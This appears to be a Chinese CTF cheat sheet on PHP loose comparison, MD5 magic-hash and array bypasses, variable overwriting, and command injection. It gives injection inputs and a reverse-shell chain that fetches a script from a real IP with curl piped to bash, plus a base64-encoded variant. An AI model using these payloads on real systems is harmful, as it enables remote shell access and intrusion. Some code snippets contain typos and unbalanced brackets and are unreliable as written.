常见CTF
目录
弱类型
=== 和 == 比较
<?php
var_dump( "admin"==O); //true
var_dump("1admin"==1); //true
var_dump( "admin1"==1) //false
var_dump( "admin1"==O) //true
var_dump ( "0e123456"=="0e4456789"); //true 科学计数法
?>
123admin => 123
admin => 0
admin1 => 0
123admin123 => 132
ctf:
if(isset($_POST['a']){
$a = json_decode($_POST['a']]);
$key = "*******"
if($a -> key == $key){
echo "flag";
} else {
echo "fail";
}
} else {
echo "---";
}
fail
flag
哈希(md5)绕过
可以参考
https://blog.csdn.net/LYJ20010728/article/details/116779357
哈希验证
科学计数法绕过
$a != $b
md5($a) == md5($b)
'0e545993274517709034328855841020' == '0e342768416822451524974117254469' //true
byGcY
0e591948146966052067035298880982
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
240610708
0e462097431906509019562988736854
314282422
0e990995504821699494520356953734
571579406
0e972379832854295224118025748221
903251147
0e174510503823932942361353209384
a = s878926199a
b = s155964671a
md5($a) == md5($b)
0e545993274517709034328855841020 == 0e342768416822451524974117254469
数组绕过
由于md5不能加密数组,在加密数组的时候会返回NULL,所以我们可以传入两个数组
数组绕过适用于源码中没有判断变量类型或内容,如果加上了过滤函数就不能使用了
常见过滤函数如下:
ctype_alnum ( string $text ) : bool
// 如果text中所有的字符全部是字母和(或者)数字,返回 TRUE 否则返回FALSE
is_numeric ( mixed $var ) : bool
// 如果 var 是数字和数字字符串则返回 TRUE,否则返回 FALSE
(string)$a !=(string)$b
md5($a) === md5($b)
老老实实的利用hash碰撞
hash碰撞例子:https://www.jianshu.com/p/c9089fd5b1ba
有意思的题
1. 顺序的问题
对数组的a[0]a[1]严格过滤,但是接收的是传入的前两个参数
2. $md5 = md5($md5)
$md5 = md5($md5)
需要一个md5和md5(md5)都是0e开头
很多:
0e01875552079 0e780449305367629893512581736357
0e01975903983 0e317084484960342086618161584202
0e02042356163 0e335912055437180460060141819624
0e02218562930 0e151492820470888772364059321579
0e02451355147 0e866503534356013079241759641492
0e02739970294 0e894318228115677783240047043017
...
变量覆盖问题
Extract()
$arr = $_GET[ 'arr' ] ;
extract($arr);
@$d ( $_POST ['a']);//动态函数调用
Parse_str()
$arr = $_GET[ 'arr' ] ;
parse_str($arr)
@$d ( $_POST ['a']);//动态函数调用
题
首先 QNKCDZO md5为科学计数法形式
所以传入 ?id=a[0]=s1091221200a
命令执行漏洞
命令执行
实例
正常:
利用: 127.0.0.1;ls -l
联合执行
前一个命令的结果作为后一个命令的参数
换行符
%0a
%0d
反弹shell
监听这个端口:
nc -lvp 13258
在web的txt文件中写入 执行代码: bash -i > & /dev/tcp/101.132.237.224/12358 0>&1
执行:curl http://101.132.237.224/12358/d.txt | bash
反弹shell成功 获取目标shell
也可以结合base64加密
echo YmFzaCAtaSA+ICYgL2Rldi90Y3AvMTAxLjEzMi4yMzcuMjI0LzEyMzU4IDA+JjE= | base64 -d | bash
无回显的
1.带出
2.延时盲注 shell
过滤
空格过滤
代替空格